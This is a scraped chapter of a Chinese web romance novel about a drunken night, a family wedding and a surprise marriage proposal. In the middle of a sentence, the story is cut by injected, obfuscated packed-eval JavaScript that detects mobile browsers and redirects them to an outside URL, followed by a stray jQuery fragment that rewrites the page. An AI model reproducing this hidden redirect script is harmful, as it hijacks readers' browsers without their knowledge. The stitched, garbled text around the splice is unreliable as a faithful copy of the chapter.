默认冷灰
24号文字
方正启体

20. 第20章 大婚

作者:九夭妖本书字数:K更新时间:
    三人在店中吃完饭时已然是深夜,街上空荡荡的没有一处行人,明月高悬在漆黑的夜空中,街道走着两道身影,月光在前方铺路。


    明枝溪喝了些酒,面色微红,走路有些摇晃,谢槐池站在边上搀扶着,生怕她摔着。


    “哥哥,你为什么喜欢我。”明枝溪忽的问道。


    “我为什么喜欢你?”谢槐池听到这话忍不住笑出声,“喜欢你不需要理由,我第一次见你时的心跳,足以证明一切。”


    “哦...喜欢你。”明枝溪伏在谢槐池胸膛,呼气急促。


    “嗯,我知道,我也喜欢你。”谢槐池耐心的安抚着,轻轻拍扶着她的背。


    不一会儿明枝溪便没了动静,谢槐池疑惑的低头看了一眼:“嗯?睡着了?”


    回应他的只有一串沉稳的呼吸声,谢槐池接着说道:“酒量这么差,还学着江湖大侠喝酒。”


    他轻轻将她打横抱起,明枝溪不耐烦的往谢槐池的肩胛处钻了钻,嘴里不知道在嘟囔什么。


    谢槐池一路走着,明枝溪睡得意外的安静,他站在丞相府门口,一时间有些犯了难,他缓缓走上前,鼓足勇气叩响大门。


    府内很快就传来了动静,一名守夜的小厮揉着睡眼惺忪的双眼,缓慢的拉开了大门,见到是谢槐池时表情有些古怪。


    小厮疑惑开口问道:“谢世子莫不是走错地方了?”


    谢槐池无奈的摇摇头:“你家大姑娘在外头喝多了酒,只能唐突抱回。”


    这时小厮仿佛才主要到谢槐池手中抱着的人,表情由疑惑转为惊恐:“谢,谢世子请稍等,我去禀报家主与大娘子。”


    说着他一溜烟跑了下去,谢槐池站在门口,看着怀中时不时砸吧嘴的明枝溪,笑出了声,轻声对她说:“我倒是要看看你明天怎么做人。”


    明枝溪仿佛听到谢槐池的声响,更加使劲往怀里钻,口中呢喃道:“我做你的人。”


    明衢与博英风披着外袍匆忙赶出,明衢看见眼前的一幕差点没晕过去,而博英风好似早已知晓,却还是正色言辞道:“是小女麻烦谢世子了,你交给我吧。”


    谢槐池走进谢,将明枝溪转移进博英风的怀中,博英风有些吃力,却还是稳稳抱住。


    明衢扶着额头,闭上双眼,不想面对一切,片刻后还是睁开双眼道:“多谢谢世子了,还请谢世子莫要将今夜之事说出去。”


    谢槐池带着得体的笑回答:“自然。”


    “那我们先送小女回房了,夜深露重,谢世子还是早些回去吧。”明衢接着道。


    谢槐池点点头往后走去,明衢见人的身影消失在深夜中,这才急忙喊道:“快,去备一碗醒酒汤送去雪竹院。”


    明衢身旁的小厮急匆匆的向着小厨房跑去,博英风抱着明枝溪向着雪竹院走去,明衢则是摇着头跟在后头,不知在想些什么。


    雪竹院的门被打开,博英风放缓步伐,尽量让自己走的平稳些,院内守夜的彩诺提着灯笼照亮前方的道路,表情波澜不惊。


    博英风终于将明枝溪放躺在床榻上,沉沉叹了口气道:“看你都不怎么吃饭,怎么还能便重呢。”


    明衢站在门外看着院中多出来的春雪,神色略微一变,对着彩诺问道:“这..是?”


    彩诺行礼后回答道:“这是姑娘新养的猫儿,名叫彩诺。”


    博英风擦着额角的汗珠走出,疑惑开口问:“说什么呢?”


    “没事,就是看枝溪又养了个新玩意。”明衢伸手指了指盘卧在躺椅上的春雪。


    “由她去吧,还好是深夜,没什么人,不然真就传遍了。”博英风站在外廊上看着天上的明月,“谁不是这么过来的呢,想当年我们也曾这样过。”


    明衢老脸一红,支支吾吾的解释着:“那我们那时也是定亲了,不逾矩,她与谢世子能一样吗?”


    “怎么?你要罚她?”博英风问。


    “我罚她作甚,少女初心萌动也是常有的事。”明衢顺手摸了摸春雪,“由她去吧,我想谢世子未必不是良人。”


    小厮端着醒酒汤缓慢的走来,时不时洒落几滴,博英风走上前稳稳接过,走上屋内,愣是一滴也没撒,她哄着明枝溪喝下去。


    明枝溪喝下去后,翻来覆去的,最终又沉沉睡去,这时两人才放心的回屋继续睡。


    ——————


    第二日晌午,明枝溪在睡梦中惊醒,揉着脑袋发蒙,隐约间觉着昨晚发生了什么大事。


    她口干舌燥,缓缓爬下床走向圆桌旁给自己倒了一杯水,正喝着呢,脑中忽然蹦出一个问题,自己是怎么回家的。


    明枝溪疑惑的放下水杯,打开门环视一圈,并未见到彩诺,想来是已经回去睡了,小玉走上前,神秘兮兮的问:“姑娘,你与谢世子当真...”


    “当真什么?”明枝溪蹙着眉,一脸茫然的问。


    小玉略微走进了些,几乎是贴着明枝溪,环顾一圈确定没人后小心翼翼的问:“你与谢世子当真私定终身了吗?”


    明枝溪觉着自己脑袋中的一根弦崩断了,大声喊着:“什么?你说什么?我昨日怎么回来的?”


    小玉被吓了一跳,缓缓向后退了几步:“就..就是谢世子抱着你回来的。”


    “我怎么不知道?真的假的?你怎么知道的?”明枝溪脸色羞红一片,睁大双眼,着急的问。


    “姑娘你昨夜都睡成那样了,肯定不知道啊,况且阖府上下都传遍了。”小玉往后又退了几步。


    明枝溪撑着脸,嘀咕道:“我一定没睡醒。”


    说着她狠狠掐了自己的脸,传来疼痛,明枝溪猛的蹲下抱着头,神情懊悔:“完了,都完了,我会不会被打死啊。”


    “姑娘不要紧张啦,大娘子说了,这事情外头无人知晓,府中谁若是传出去了即刻杖毙,想必也不会有人傻乎乎往外说。”小玉走上前安抚着明枝溪。


    明枝溪这才想开些,在外廊上来回踱步,这时博英风朝着院内走来,神情温和,明枝溪却像是见着了活阎王般,双膝一软,即刻跪下。


    “你起来吧,我不罚你,只是来看看你醒了没。”博英风挥着手说道。


    明枝溪有些不适应,却还是乖乖的站起,一言不发,低垂着羞红的脸。


    “好了,此事莫要放在心上,你若是真喜欢那世子,让他来提亲吧,不要搞这些偷鸡摸狗的事情。”博英风走向明枝溪,伸手拍了拍明枝溪的肩膀。


    明枝溪嘟囔着嘴:“知道了...”


    “好了,我回去了,看你精气神还不错,我便放心了。”博英风知道明枝溪还不是很敢与她大放厥词,识趣的往外走。


    明枝溪露出害羞的神情,往房内跑去,直挺挺的扑倒在床上,手中撕扯着被子。


    猛地反应过来,身上还穿着昨日的衣裳,她闻了闻一股酒味,连忙将衣服换下。


    明枝溪将自己裹在被子里,难为情的扭来扭曲,脑海中忽然涌现昨日的回忆,她猛的钻出被子,大口呼气,最终决定接下来几日不出门了!


    ——————


    就这样在府中呆了三日,很快便到了明子晋与沈雪晴大婚的日子,明枝溪早已将那晚的事情抛之脑后,早早的起了床,梳妆打扮着。


    她穿梭在府中忙碌着,时不时打点着小厨房的饭菜,再去前厅中一顿准备着席面,不知不觉中便忙到了接近黄昏时。


    敲锣打鼓的声响在明枝溪耳畔响起,明枝溪兴奋的跑去门外等着,一顶花轿后跟着嫁妆,许多是明子晋给添的,想必是沈雪晴定亲后在沈府不受待见。


    明枝溪站在门口,看着花轿听闻,一双绣花鞋先行迈出,随后沈雪晴身边的婢女掀开帘子,沈雪晴才缓缓走出。


    明枝溪不知为何比明子晋还要激动,手忍不住的颤抖,脸上的笑就没有停下过。


    明子晋走上前,牵住沈雪晴的手,两人向着府内走去,府外乌泱泱站着一群讨喜的人,明枝溪手中提着篮子走出,给门外的人们发着银子。


    大家都笑着道谢,忽然明枝溪眼神一撇,看见了人群中,站在一旁的谢槐池,他正站在那,眼神注视在明枝溪的身旁。


    明枝溪突然想起那夜的事情,脸皮薄的刷一下红了,将篮子交给外面的小厮,便往里走去。


    那一群人有明子晋的同窗,也有同僚以及友人,自然也是要跟进来了的,明枝溪天真的以为进去就没事了。


    转头望去谢槐池就这样跟在身后,明枝溪装作没看见,继续看着两位新人接下来的仪式。


    明子晋牵着沈雪晴的手,前方摆放着一个火盆,正燃烧着,沈雪晴一脚迈过后,一名妈妈便在边上喊道:“祝两位日后的日子红红火火!”


    众人嬉笑着起哄,两人继续往里走去,明枝溪急忙跟上,可眼神止不住的撇向谢槐池,每次看向他,他便像是有心灵感应般盯着明枝溪。


    到了正厅内,明枝溪十分热情的站在一旁,另一位妈妈站在一旁喊道:“一拜天地!”


    两人齐刷刷转过身,对着天地鞠躬,妈妈接着喊:“二拜高堂!”


    两人再次转身对着坐在主座上的明衢与博英风叩拜着,妈妈再喊:“夫妻对拜。”


    两人对拜时,明子晋透过红盖头看见了沈雪晴那张乖巧的脸,她的嘴角微微扬起,见明子晋看向自己,故意朝她皱了个眉。


    繁琐的流程在不久后终于结束,明枝溪跑到后边园子里躲懒,说是躲懒其实是为了躲某一个人。


    她坐在亭子里,心里想着,我以后成亲一定不要这么繁琐的仪式,太累人了吧。


    突然她感觉自己的肩膀被人拍了一下,疑惑的转过头,看见谢槐池正站在身后,歪着头看向她。


    “你什么时候来的?”明枝溪神情慌张的站起问道。


    谢槐池没有接这段话,而是反问她:“你为何近日都不来找我?”


    明枝溪眼神躲避,抚摸着自己的脸颊,尴尬的笑了笑,试图掩盖过去,只见对方缓缓靠近继续追问:“你为何一直躲着我?”


    明枝溪向后退去,背直直靠在冰凉柱子上:“那个,哥哥,周围还有宾客。”


    她伸出手试图将谢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567717|204825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    槐池推走,而谢槐池纹丝不动,没有要离开的意思,谢槐池语气里有些激动:“回答我!”


    明枝溪弱弱道:“没有啊,就是这几天不想出门...”


    “你不要再躲着我了,好不好。”谢槐池语气一转,透露出委屈,他坐在明枝溪身旁低垂着头,如果有一双狗耳朵,应该是耷拉在那儿的。


    明枝溪手忙脚乱的看着面前的谢槐池,轻声安抚:“不躲着不躲着,哥哥你莫要伤心了,在这伤心给外人看到了多不好,我答应你,以后不出门就给你写一封信告知你,好不好?”


    谢槐池抿着唇抬眼看向明枝溪:“好,以后不要离开我了。”


    “诶!明姑娘你在这呢...”顾从希缓缓从假山后走出,见到谢槐池也在,心领神会的往回走去,“打扰了,打扰了。”


    明枝溪知道这事儿要是被他传出去了,这个成亲现场就要变味了,急忙喊道:“你!给我回来!”


    顾从希顿住脚步,迟迟不敢转身,僵在那:“我不会说出去的。”


    “那你也给我回来,再不回来我揍你。”明枝溪用着自认为较为凶狠的语气对着顾从希喊。


    顾从希哪知道平日里娇滴滴的小女娘还会天天说着要揍对方,赶紧往亭子里走去,僵硬的坐下,一言不发。


    明枝溪不耐烦的问:“你来找我干什么?”


    “我..我就是想问一下那日说帮我说好话...是不是说到做到了。”顾从希缩着脖子,谨小慎微的回答。


    明枝溪自然是忘了这茬事情,但是不能直说,于是就变成:“你若是真的喜欢明映,现在就去提亲啊。”


    可是令两人没想到的是,这二货还真去了!


    顾从希二话不说,直直朝着正厅走去,明枝溪与谢槐池双目对视,连忙追上去。


    顾从希脚步飞快,明枝溪忙了一天,腿有些发软,却迟迟不敢停下,当明枝溪与谢槐池赶到正厅时看见的场景便是。


    顾从希跪在明衢与博英风前面,一众宾客都在那儿看好戏,而和音仪匆匆赶来。


    和音仪调整了衣摆后坐下,疑惑的看了看跪在中央的顾从希,问明衢:“官人怎么这么着急?发生何事了?”


    顾从希急忙接过话题,再次将方才所说的话再说了一遍:“我顾从希想趁着明兄成婚,沾沾喜,在此求取贵府二姑娘,明映。”


    和音仪听了差点没从椅子上滑落,一脸诧异的看了看明衢,随后四处张望,在人群中看见了明映,急忙让身边的妈妈将她拉来问道:“娘只问你一件事,你喜欢这小子吗?”


    明映低垂着脸,面颊上泛着的红晕就已经说明一切,和音仪心领神会的点着头,手搭在明映的手背上拍了拍,对着明衢道:“妾身觉着不如这两日便让顾府下帖下聘吧。”


    顾从希双眼泛着光,却迟迟不敢抬头,等待着明衢发话。


    明衢先是思考一番,片刻后道:“这真是喜上加喜啊,哈哈哈,那么你今日回去后便准备准备,前来下聘吧。”


    顾从希深深磕了一个响头,目光看向明映满脸兴奋,博英风全程一言不发,眼神直勾勾看向人群中的明枝溪。


    明枝溪被盯的发毛,连忙带着谢槐池跑出门,回到了方才的亭子中,谢槐池打趣道:“要不我现在也去提亲,喜上加喜再加喜。”


    明枝溪哈哈大笑起来:“你说什么什么歪理,喜上加喜再加喜。”


    “难道不是吗?”谢槐池的心情缓和了许多,面相看着都温柔起来了。


    “罢了,我等你取得功名再来娶我,羡慕死全京城的小女娘。”明枝溪含着笑对谢槐池说道。


    “好,那你可得等我,不准始乱终弃!”谢槐池回复着。


    晚风轻轻刮过,树叶相互碰撞着,发出沙沙的声响,日色渐渐黑了,两人朝着正厅走去,路上明枝溪拿出这三天她忙活的东西。


    一个绣工精致的荷包,上面绣着鸳鸯戏水,形态逼真,明枝溪将荷包塞进谢槐池的手中,随后跑向后院挥着手道别。


    谢槐池低头看了看手中的荷包,露出一抹笑,朝着席位处凑去,关系略微要好的还在那儿询问着:“谢世子怎的今日心情这般好?”


    “明兄成婚我自然高兴啊。”谢槐池端起酒杯敬着众人,眼尖一些的立马发现他腰间挂着的新荷包,打趣道:“啧啧,想必是有心爱的姑娘在此处吧。”


    “在哪儿呢?让我瞅瞅。”另一名男子四处张望着。


    谢槐池并未阻止,吃着面前的菜肴道:“你就找吧,你找破脑袋都找不到的。”


    “啧啧,看来是已经离去了呀,希望我下次能喝到你的喜酒啊!”眼尖的男子端起酒杯敬向谢槐池。


    邻桌的公子哥在议论着,谢槐池好似听到了些熟悉的字眼,凑近听了听。


    一名长相尖酸的男子在那儿对着周围的人悄悄说着:“你看看丞相府二姑娘都快嫁出去了,这大姑娘怎么还没一点动静?我看是那长相太多慈悲了。”


    “谁愿意每天早上一睡醒就看到一尊菩萨在你面前晃荡啊?你们说是不是?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)